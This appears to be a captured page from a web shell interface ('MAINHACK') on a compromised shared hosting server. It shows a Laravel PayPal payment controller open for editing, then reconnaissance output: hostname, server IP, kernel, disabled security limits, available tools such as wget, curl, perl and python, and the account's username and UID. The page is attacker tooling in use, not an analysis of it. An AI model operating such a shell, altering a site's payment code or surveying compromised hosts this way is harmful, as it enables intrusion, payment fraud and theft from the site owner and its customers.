[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PaypalPaymentController.php
<?php namespace App\Http\Controllers; use App\CentralLogics\Helpers; use App\CentralLogics\OrderLogic; use App\Models\Order; use Brian2694\Toastr\Facades\Toastr; use Illuminate\Http\Request; use Illuminate\Support\Facades\Config; use Illuminate\Support\Facades\DB; use Illuminate\Support\Facades\Redirect; use Illuminate\Support\Facades\Session; use Illuminate\Support\Facades\URL; use Illuminate\Support\Str; use PayPal\Api\Amount; use PayPal\Api\Item; use PayPal\Api\ItemList; use PayPal\Api\Payer; use PayPal\Api\Payment; use PayPal\Api\PaymentExecution; use PayPal\Api\RedirectUrls; use PayPal\Api\Transaction; use PayPal\Auth\OAuthTokenCredential; use PayPal\Common\PayPalModel; use PayPal\Rest\ApiContext; class PaypalPaymentController extends Controller { public function __construct() { $paypal_conf = Config::get('paypal'); $this->_api_context = new ApiContext(new OAuthTokenCredential( $paypal_conf['client_id'], $paypal_conf['secret']) ); $this->_api_context->setConfig($paypal_conf['settings']); } public function payWithpaypal(Request $request) { $order = Order::with(['details'])->where(['id' => session('order_id')])->first(); $tr_ref = Str::random(6) . '-' . rand(1, 1000); $payer = new Payer(); $payer->setPaymentMethod('paypal'); $items_array = []; $item = new Item(); $item->setName($order->customer['f_name']) ->setCurrency(Helpers::currency_code()) ->setQuantity(1) ->setPrice($order['order_amount']); array_push($items_array, $item); $item_list = new ItemList(); $item_list->setItems($items_array); $amount = new Amount(); $amount->setCurrency(Helpers::currency_code()) ->setTotal($order['order_amount']); \session()->put('transaction_reference', $tr_ref); $transaction = new Transaction(); $transaction->setAmount($amount) ->setItemList($item_list) ->setDescription($tr_ref); $redirect_urls = new RedirectUrls(); $redirect_urls->setReturnUrl(URL::route('paypal-status')) ->setCancelUrl(URL::route('payment-fail')); $payment = new Payment(); $payment->setIntent('Sale') ->setPayer($payer) ->setRedirectUrls($redirect_urls) ->setTransactions(array($transaction)); try { $payment->create($this->_api_context); foreach ($payment->getLinks() as $link) { if ($link->getRel() == 'approval_url') { $redirect_url = $link->getHref(); break; } } DB::table('orders') ->where('id', $order->id) ->update([ 'transaction_reference' => $payment->getId(), 'payment_method' => 'paypal', 'order_status' => 'failed', 'failed' => now(), 'updated_at' => now() ]); Session::put('paypal_payment_id', $payment->getId()); if (isset($redirect_url)) { return Redirect::away($redirect_url); } } catch (\Exception $ex) { Toastr::error(trans('messages.your_currency_is_not_supported',['method'=>trans('messages.paypal')])); return back(); } Session::put('error', trans('messages.config_your_account',['method'=>trans('messages.paypal')])); return back(); } public function getPaymentStatus(Request $request) { $payment_id = Session::get('paypal_payment_id'); if (empty($request['PayerID']) || empty($request['token'])) { Session::put('error', trans('messages.payment_failed')); return Redirect::back(); } $payment = Payment::get($payment_id, $this->_api_context); $execution = new PaymentExecution(); $execution->setPayerId($request['PayerID']); /**Execute the payment **/ $result = $payment->execute($execution, $this->_api_context); $order = Order::where('transaction_reference', $payment_id)->first(); if ($result->getState() == 'approved') { $order->transaction_reference = $payment_id; $order->payment_method = 'paypal'; $order->payment_status = 'paid'; $order->order_status = 'confirmed'; $order->confirmed = now(); $order->save(); try { Helpers::send_order_notification($order); } catch (\Exception $e) { } if ($order->callback != null) { return redirect($order->callback . '&status=success'); }else{ return \redirect()->route('payment-success'); } } $order->order_status = 'failed'; $order->failed = now(); $order->save(); if ($order->callback != null) { return redirect($order->callback . '&status=fail'); }else{ return \redirect()->route('payment-fail'); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.3 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624